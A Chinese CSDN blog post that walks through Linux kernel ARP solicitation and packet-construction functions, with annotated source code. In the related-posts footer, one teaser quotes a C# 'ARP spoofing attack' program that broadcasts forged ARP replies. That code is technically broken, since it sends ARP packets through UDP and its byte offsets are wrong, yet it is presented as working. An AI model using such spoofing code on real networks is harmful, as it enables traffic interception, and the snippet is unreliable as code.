arp3-探测

最新推荐文章于 2023-12-15 13:36:36 发布
最新推荐文章于 2023-12-15 13:36:36 发布
阅读量766 收藏
点赞数
分类专栏： ARP
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/u014211079/article/details/41576543
版权

对每种Neighboring协议，都要定义一个neigh_ops结构，ARP对应的定义为：

[ net/ipv4/arp.c ]

static const struct neigh_ops arp_generic_ops = {
	.family =		AF_INET,
	.solicit =		arp_solicit,
	.error_report =		arp_error_report,
	.output =		neigh_resolve_output,
	.connected_output =	neigh_connected_output,
};
其中的arp_solicit用来进行目标地址的探测：

[ net/ipv4/arp.c ]

// ARP探测
static void arp_solicit(struct neighbour *neigh, struct sk_buff *skb)
{
	__be32 saddr = 0;
	u8 dst_ha[MAX_ADDR_LEN], *dst_hw = NULL;
	struct net_device *dev = neigh->dev;	// 网络设备
	__be32 target = *(__be32 *)neigh->primary_key;	// 目标地址
	int probes = atomic_read(&neigh->probes);	// 探测次数
	struct in_device *in_dev;

	rcu_read_lock();
	in_dev = __in_dev_get_rcu(dev);	// IPv4 specific data
	if (!in_dev) {
		rcu_read_unlock();
		return;
	}
	switch (IN_DEV_ARP_ANNOUNCE(in_dev)) {	// 本地发出的ARP请求包，当源地址使用本机的IP地址时，等级限制
	default:
	case 0:		/* By default announce any local IP */
		if (skb && inet_addr_type(dev_net(dev), ip_hdr(skb)->saddr) == RTN_LOCAL) // 目标为ip_hdr(skb)->saddr的路由为 Accept locally
			saddr = ip_hdr(skb)->saddr;
		break;
	case 1:		/* Restrict announcements of saddr in same subnet */
		if (!skb)
			break;
		saddr = ip_hdr(skb)->saddr;
		if (inet_addr_type(dev_net(dev), saddr) == RTN_LOCAL) {	// 目标为ip_hdr(skb)->saddr的路由为 Accept locally
			/* saddr should be known to target */
			if (inet_addr_onlink(in_dev, target, saddr))
				break;
		}
		saddr = 0;
		break;
	case 2:		/* Avoid secondary IPs, get a primary/preferred one */
		break;
	}
	rcu_read_unlock();

	if (!saddr)
		saddr = inet_select_addr(dev, target, RT_SCOPE_LINK); // 找到与目标地址target相同的本机地址,在局域网内

	probes -= NEIGH_VAR(neigh->parms, UCAST_PROBES);	// 探测次数减去unicast solicitations数量
	if (probes < 0) {
		if (!(neigh->nud_state & NUD_VALID))
			pr_debug("trying to ucast probe in NUD_INVALID\n");
		neigh_ha_snapshot(dst_ha, neigh, dev);	// neigh中与IP地址对应的硬件地址赋值给dst_ha
		dst_hw = dst_ha;
	} else {
		probes -= NEIGH_VAR(neigh->parms, APP_PROBES);// 探测次数减去user-space application solicitations数量
		if (probes < 0) {
			neigh_app_ns(neigh);	// 发送通知给内核
			return;
		}
	}

	// 发送ARP请求
	arp_send(ARPOP_REQUEST, ETH_P_ARP, target, dev, saddr,
		 dst_hw, dev->dev_addr, NULL);
}
其中arp_send用来发送ARP请求，它也用来发送ARP响应：

[ net/ipv4/arp.c ]

/*
 *	Create and send an arp packet.
 */
void arp_send(int type, int ptype, __be32 dest_ip,
	      struct net_device *dev, __be32 src_ip,
	      const unsigned char *dest_hw, const unsigned char *src_hw,
	      const unsigned char *target_hw)
{
	struct sk_buff *skb;

	/*
	 *	No arp on this interface.
	 */

	if (dev->flags&IFF_NOARP)
		return;

	// 创建一个ARP包
	skb = arp_create(type, ptype, dest_ip, dev, src_ip,
			 dest_hw, src_hw, target_hw);
	if (skb == NULL)
		return;

	arp_xmit(skb);	// 发送ARP包
}
EXPORT_SYMBOL(arp_send);

 /*
 *    Create an arp packet. If (dest_hw == NULL), we create a broadcast
 *    message.
 */
struct sk_buff *arp_create(int type, int ptype, __be32 dest_ip,
               struct net_device *dev, __be32 src_ip,
               const unsigned char *dest_hw,
               const unsigned char *src_hw,
               const unsigned char *target_hw)
{
    struct sk_buff *skb;
    struct arphdr *arp;
    unsigned char *arp_ptr;
    int hlen = LL_RESERVED_SPACE(dev);    // 头部长度
    int tlen = dev->needed_tailroom;    // 尾部预留空间

    /*
     *    Allocate a buffer
     */

    skb = alloc_skb(arp_hdr_len(dev) + hlen + tlen, GFP_ATOMIC);
    if (skb == NULL)
        return NULL;


    skb_reserve(skb, hlen);
    skb_reset_network_header(skb);
    arp = (struct arphdr *) skb_put(skb, arp_hdr_len(dev));
    skb->dev = dev;
    skb->protocol = htons(ETH_P_ARP);    // 协议类型
    if (src_hw == NULL)
        src_hw = dev->dev_addr;    // 源地址
    if (dest_hw == NULL)
        dest_hw = dev->broadcast;    // 广播地址

    /*
     *    Fill the device header for the ARP frame
     */
    if (dev_hard_header(skb, dev, ptype, dest_hw, src_hw, skb->len) < 0)    // create the Ethernet header
        goto out;

    /*
     * Fill out the arp protocol part.
     *
     * The arp hardware type should match the device type, except for FDDI,
     * which (according to RFC 1390) should always equal 1 (Ethernet).
     */
    /*
     *    Exceptions everywhere. AX.25 uses the AX.25 PID value not the
     *    DIX code for the protocol. Make these device structure fields.
     */
    switch (dev->type) {
    default:
        arp->ar_hrd = htons(dev->type);
        arp->ar_pro = htons(ETH_P_IP);
        break;


#if IS_ENABLED(CONFIG_AX25)
    case ARPHRD_AX25:
        arp->ar_hrd = htons(ARPHRD_AX25);
        arp->ar_pro = htons(AX25_P_IP);
        break;

#if IS_ENABLED(CONFIG_NETROM)
    case ARPHRD_NETROM:
        arp->ar_hrd = htons(ARPHRD_NETROM);
        arp->ar_pro = htons(AX25_P_IP);
        break;
#endif
#endif

#if IS_ENABLED(CONFIG_FDDI)
    case ARPHRD_FDDI:
        arp->ar_hrd = htons(ARPHRD_ETHER);
        arp->ar_pro = htons(ETH_P_IP);
        break;
#endif
    }

    arp->ar_hln = dev->addr_len;    // length of hardware address
    arp->ar_pln = 4;    // length of protocol address
    arp->ar_op = htons(type);    // 类型：请求或响应

    arp_ptr = (unsigned char *)(arp + 1);


    memcpy(arp_ptr, src_hw, dev->addr_len);    // sender hardware address
    arp_ptr += dev->addr_len;
    memcpy(arp_ptr, &src_ip, 4);    // sender IP address
    arp_ptr += 4;

    switch (dev->type) {
#if IS_ENABLED(CONFIG_FIREWIRE_NET)
    case ARPHRD_IEEE1394:
        break;
#endif
    default:
        if (target_hw != NULL)
            memcpy(arp_ptr, target_hw, dev->addr_len);    // target hardware address
        else
            memset(arp_ptr, 0, dev->addr_len);
        arp_ptr += dev->addr_len;
    }
    memcpy(arp_ptr, &dest_ip, 4);    // IP address

    return skb;

out:
    kfree_skb(skb);
    return NULL;
}
EXPORT_SYMBOL(arp_create);

/*
 *    Send an arp packet.
 */
void arp_xmit(struct sk_buff *skb)
{
    /* Send it off, maybe filter it using firewalling first.  */
    NF_HOOK(NFPROTO_ARP, NF_ARP_OUT, skb, NULL, skb->dev, dev_queue_xmit);
}
EXPORT_SYMBOL(arp_xmit);

安静呆一会儿
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Linux内核-arp协议
hhhhhyyyyy8的博客
04-11 2378
arp协议：
渗透&&探测 (之ARP探测篇)
weixin_34409357的博客
09-20 2345
题记 hacker A hacker is any highly skilled computer expert. script kiddie A script kiddie is an unskilled individual who uses scripts or programs developed by others to attach computer systems and netw...
Linux内核邻接子系统（arp协议）的工作原理
qq_53111905的博客
08-09 1583
Linux内核邻接子系统（arp协议）
linux IP机制,LinuxIP--路由机制.doc
weixin_32074113的博客
05-12 88
LinuxIP--路由机制Linux-2.4.x下IP――路由机制1原理22基本的Internet协议路由62.1概述72.2Routing Tables82.2.1The Neighbor Table82.2.2The Forwarding Information Base102.2.3The Routing Cache132.2.48.2.4??Updating Routing Informa...
linux内核ip_forward参数详解
dillanzhou的博客
10-20 8280
linux服务器经常被用来提供防火墙、路由器、NAT等功能，在这些场景下，linux内核需要将网卡上收到的报文转发给其他网络设备。linux内核提供了ip_forward参数用于开关内核的报文转发功能，只有这个开关被打开时，内核才会执行报文的转发。网上能找到不少文章介绍ip_forward参数的基本用途和配置方式，但没有什么文章具体介绍这个参数配置后具体会对内核的网络行为产生哪些影响，以及在内核中是如何实现的。而这些问题的答案对转发功能的使用方式会产生很大的影响。
16.2 ARP 主机探测技术
CSDN
10-21 4309
ARP （Address Resolution Protocol，地址解析协议），是一种用于将 `IP` 地址转换为物理地址（`MAC地址`）的协议。它在 `TCP/IP` 协议栈中处于链路层，为了在局域网中能够正确传输数据包而设计，由协议数据单元和对应的操作命令组成。`ARP` 既可以由操作系统处理，也可以由网卡处理。 该协议的作用是通过一个局域网上的互联网协议(IP)地址来查询对应的物理硬件地址，如数据包发送到路由器时，ARP 协议将使用嵌入在数据包中的目的 IP 地址查找对应的物理地址，路由器根据获
简单ARP探测器
04-10
个人写的简单ARP探测器，可以根据IP地址获取对方MAC地址。采用的是C#和SharpPcap构建，运行前请安装WinPcap 4.0以上。代码组合参考了一些网上的例子，在此表示感谢！
c++写的 arp 探测程序
11-19
南开大学 网络作业 arp 探测 C++语言的 控制台程序 双线程
基于arp协议的主机局域网主机信息探测
03-18
基于arp协议的主机局域网主机信息探测，
探测IP小工具
01-08
通过捕获ARP来分析得出本子网的IP。基于Win32API和WinPcap开发。
ARP 探测工具查看局域网是否中arp病毒
10-29
ARP 探测工具ARP 探测工具ARP 探测工具ARP 探测工具
ARP探测和ARP公告
最新发布
weixin_45045419的博客
12-15 75
如果 ARP 探测器没有从可能已经使用该 IP 地址的任何人那里生成响应，发起主机将认为该 IP 地址是唯一的，并将发送 ARP 公告以正式“声明”网络上的 IP 地址。目标 IP 地址已被使用，则网络上的其他主机非常不希望根据 ARP 缓存的内容无意中更新其 ARP 缓存。更新网络上的所有 ARP 缓存，而 ARP 探针会故意阻止 ARP 缓存更新，以继续防范 IP 地址冲突。地址都会创建完整的 ARP映射，网络上的主机可以在其 ARP 表中使用这对地址。这是有意为之，因为发送 ARP 探测的原因是。
ARP讲解（免费ARP、ARP代理、ARP攻击）
m0_49864110的博客
06-24 4140
PC9 ping PC10的通信过程PC9和PC10不需要配置网关（因为对于这两台设备而言，其互访是同网段互访）但是AR1认为PC9和PC10为不同网段。
免费ARP和地址冲突检测
a3876247995的博客
04-21 1954
免费ARP 免费ARP的定义：主机发送ARP请求自己的地址，ARP报文中的源IP地址和目的IP都是自己，以太网报文中的源MAC是自己，目的MAC是全f，广播出去 免费ARP的使用场景：通常网口刚启动的时候发送。 免费ARP的作用： 确定是否有别人也使用了相同的IP，如果存在那么别的主机会应答这个免费ARP，同时本机会报错 针对网卡替换，IP不变的场景，用于刷新其他主机的ARP表项 地址冲突检测 地址冲突检测ACD和免费ARP有一点点不同。ACD包括ARP探测报文和ARP通告报文。 ARP探测报文：用于
ARP 协议
时光重返七十年
10-21 1365
总结 ARP 协议，包括请求、应答、免费ARP、探测和通告分组
ARP通告协议ARP announcement
热门推荐
xiaopeng_thriller的博客
08-24 1万+
用灵州设备进行ARP宣告的时候突然忘记了其中使用的协议 于是抓包查看 发现使用的为ARP announcement 协议通告，告知设备需要使用此地址 ARP announcement： 用于昭示天下（LAN）本机要使用某个IP地址了，是一个SenderIP和Traget IP填充的都是本机IP地址的ARP request。这会让LAN(VLAN)中所有主机都会更新自己的ARP cache，将IP地址映射到发送者的MAC地址 顺带将ARP 也复习下 1. ARP协议简介 Address Re
ARP 探测 C语言实现
GOOD__YOUTH的博客
10-11 1745
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <netdb.h> #include <unistd.h
ARP概述
weixin_66781330的博客
06-07 922
如果匹配，则该主机会将ARP请求报文中的发送端MAC地址和发送端IP地址信息记录到自己的ARP缓存表中，然后通过ARP Reply报文进行响应。比如，expire-time为20分钟（1200s），detect-times为6，当到达10分钟时，每隔5s发一个arp探测报文，连续发3次；当到达20分钟时，发6次arp探测，若一直没有收到回应报文，则表项删除。那么当到达60s时，每隔5s发送一个arp探测报文，若一直没有收到回应报文，则表项删除，那么实际表项老化所需要的时间为：（60+6*5）=90s。
ARP探测目标工具arping常用命令集合大学霸IT达人
大学霸__IT达人
07-22 643
ARP探测目标工具arping常用命令集合大学霸IT达人 ARP协议是一种将IP地址转化物理地址的协议。通过ARP请求包和响应包，可以判断一个IP地址是否在使用。同理，通过该协议可以探测局域网主机是否开启。arping是一款ARP探测目标工具，该工具不仅可以发送ARP请求，判断一个主机是否在线，还可以发送免费包更新其他主机的ARP缓存。 ...
c#实现arp探测攻击
05-18
ARP探测攻击，也被称为ARP欺骗攻击，是一种网络安全攻击方式。实现ARP探测攻击可以使用C#编程语言，下面是一份简单的代码示例： ```csharp using System; using System.Net; using System.Net.NetworkInformation; using System.Net.Sockets; namespace ARPAttack { class Program { static void Main(string[] args) { // 获取本机IP地址 string hostName = Dns.GetHostName(); IPAddress[] addresses = Dns.GetHostAddresses(hostName); IPAddress localIP = null; foreach (IPAddress address in addresses) { if (address.AddressFamily == AddressFamily.InterNetwork) { localIP = address; break; } } // 获取网关的MAC地址 PhysicalAddress gatewayMac = null; using (Ping ping = new Ping()) { PingReply reply = ping.Send(localIP); if (reply.Status == IPStatus.Success) { IPAddress gatewayIP = IPAddress.Parse("192.168.1.1"); // 假设网关IP地址为192.168.1.1 ArpPacket arpRequest = new ArpPacket(localIP, gatewayIP); byte[] requestBuffer = arpRequest.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(requestBuffer, requestBuffer.Length, new IPEndPoint(gatewayIP, 0)); IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 0); byte[] responseBuffer = udpClient.Receive(ref remoteEP); ArpPacket arpResponse = ArpPacket.FromBytes(responseBuffer); if (arpResponse.Operation == ArpOperation.Response) { gatewayMac = arpResponse.SenderHardwareAddress; } } } } // 发送ARP欺骗包 while (true) { ArpPacket arpSpoof = new ArpPacket(localIP, IPAddress.Parse("192.168.1.100"), gatewayMac); byte[] spoofBuffer = arpSpoof.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(spoofBuffer, spoofBuffer.Length, new IPEndPoint(IPAddress.Broadcast, 0)); } System.Threading.Thread.Sleep(1000); } } } public class ArpPacket { public const int HardwareAddressLength = 6; public const int ProtocolAddressLength = 4; public const int PacketLength = 28; public PhysicalAddress DestinationHardwareAddress { get; set; } public PhysicalAddress SenderHardwareAddress { get; set; } public ushort ProtocolType { get; set; } public ArpOperation Operation { get; set; } public IPAddress SenderProtocolAddress { get; set; } public IPAddress TargetProtocolAddress { get; set; } public ArpPacket(IPAddress senderProtocolAddress, IPAddress targetProtocolAddress, PhysicalAddress destinationHardwareAddress = null, PhysicalAddress senderHardwareAddress = null) { this.DestinationHardwareAddress = destinationHardwareAddress ?? PhysicalAddress.Broadcast; this.SenderHardwareAddress = senderHardwareAddress ?? GetLocalMACAddress(); this.ProtocolType = (ushort)EthernetType.Arp; this.Operation = ArpOperation.Request; this.SenderProtocolAddress = senderProtocolAddress; this.TargetProtocolAddress = targetProtocolAddress; } public byte[] ToBytes() { byte[] buffer = new byte[PacketLength]; this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, 0); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength); BitConverter.GetBytes(IPAddress.NetworkToHostOrder(this.ProtocolType)).CopyTo(buffer, HardwareAddressLength * 2); BitConverter.GetBytes((ushort)this.Operation).CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2); this.SenderProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength); this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength); this.TargetProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength); return buffer; } public static ArpPacket FromBytes(byte[] buffer) { PhysicalAddress destinationHardwareAddress = new PhysicalAddress(buffer, 0, HardwareAddressLength); PhysicalAddress senderHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength, HardwareAddressLength); ushort protocolType = (ushort)IPAddress.NetworkToHostOrder(BitConverter.ToInt16(buffer, HardwareAddressLength * 2)); ArpOperation operation = (ArpOperation)BitConverter.ToUInt16(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); PhysicalAddress targetHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength, HardwareAddressLength); IPAddress senderProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2)); IPAddress targetProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength)); return new ArpPacket(senderProtocolAddress, targetProtocolAddress, destinationHardwareAddress, senderHardwareAddress) { ProtocolType = protocolType, Operation = operation }; } private static PhysicalAddress GetLocalMACAddress() { NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces(); PhysicalAddress macAddress = null; foreach (NetworkInterface adapter in nics) { if (adapter.OperationalStatus == OperationalStatus.Up) { macAddress = adapter.GetPhysicalAddress(); if (macAddress != null && !macAddress.Equals(PhysicalAddress.None)) { break; } } } return macAddress; } } public enum ArpOperation : ushort { Request = 1, Response = 2 } public enum EthernetType : ushort { Arp = 0x0806 } } ``` 上面的代码中，我们先获取本机的IP地址和MAC地址，然后发送一个ARP请求包到网关，获取网关的MAC地址。接着，我们每秒钟发送一个ARP欺骗包，将本机的MAC地址伪装成另外一台机器的MAC地址，从而实现ARP欺骗攻击。 需要注意的是，ARP欺骗攻击是一种违法行为，未经授权使用可能会导致法律后果。本代码仅供学习和研究用途，请勿用于非法用途。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值